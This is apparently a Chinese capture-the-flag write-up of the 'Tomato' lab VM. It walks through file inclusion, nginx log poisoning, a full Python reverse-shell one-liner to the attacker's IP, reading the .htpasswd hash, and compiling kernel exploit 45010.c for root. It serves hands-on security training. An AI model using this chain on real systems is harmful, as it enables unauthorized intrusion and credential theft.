21、Tomato

难度 低(个人认为中)

目标 root权限 + 一个flag

使用VMware启动

kali 192.168.152.56 靶机 192.168.152.66

信息收集

端口信息收集

可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务

web测试

80端口显示一个tomato

查看源码给了一些提示

先上dirseardh扫一遍

然后用gobuster的中等字典扫了一下也没有结果

8888端口需要密码登录

可能和前面给的一些提示有关

然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果

可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西

看wp用dirb的可以跑出一个目录出来

以后打靶场没思路的时候把所有扫描工具全部上一遍。。。

用的这个的字典/usr/share/dirb/wordlists/common.txt。。。

进去可以看到一些源码内容

把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了

看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的

突破边界

我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点

看了wp看info.php的源码。。。

做这种题只想暴打出题人,到底是在打靶场还是打ctf

看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议

通过信息可以看到这个tomato用户存在

然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件

但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含

那么是否可以尝试包含session文件或者日志文件

经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下

/var/log/nginx/access.log

并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA

可以看到记录也出现了

那么我们写一段php代码进去然后包含这个日志文件看执不执行

可以看到成功的执行了

那么可以直接写反弹shell的命令进行shell的反弹了

但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码

ngnix:apr1azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧

换了个文件成功的包含了

/var/log/nginx/error.log

这个文件会包含所有登录失败的请求路径和host,那么这里修改host

成功的回显了数据

能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来

python 复制代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到shell发现是www的权限

因为是直接使用python的pty反弹的所以已经是比较高级的shell了

提权

然后先上个信息收集的脚本linpeas.sh

一上来就是爆红

小于4.6的内核都可以考虑脏牛提权CVE-2016-5195

尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了

然后去找其他的利用方式

发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

然后使用dpkg -x解压

这里不用脏牛了用上面检测出的第二个

把这个c文件cp到当前目录

gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6

然后上传上去赋予权限成功的提权

拿到flag

这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

相关推荐
yunfanleo3 分钟前
docker run m3e 配置网络,自动重启,GPU等 配置渠道要点
linux·运维·docker
糖豆豆今天也要努力鸭34 分钟前
torch.__version__的torch版本和conda list的torch版本不一致
linux·pytorch·python·深度学习·conda·torch
G丶AEOM42 分钟前
SSL/TLS,SSL,TLS分别是什么
网络·网络协议·网络安全
烦躁的大鼻嘎42 分钟前
【Linux】深入理解GCC/G++编译流程及库文件管理
linux·运维·服务器
儒道易行1 小时前
【DVWA】RCE远程命令执行实战
网络·安全·网络安全
ac.char1 小时前
在 Ubuntu 上安装 Yarn 环境
linux·运维·服务器·ubuntu
敲上瘾1 小时前
操作系统的理解
linux·运维·服务器·c++·大模型·操作系统·aigc
Hacker_LaoYi1 小时前
网络安全与加密
安全·web安全
长弓聊编程1 小时前
Linux系统使用valgrind分析C++程序内存资源使用情况
linux·c++
cherub.1 小时前
深入解析信号量:定义与环形队列生产消费模型剖析
linux·c++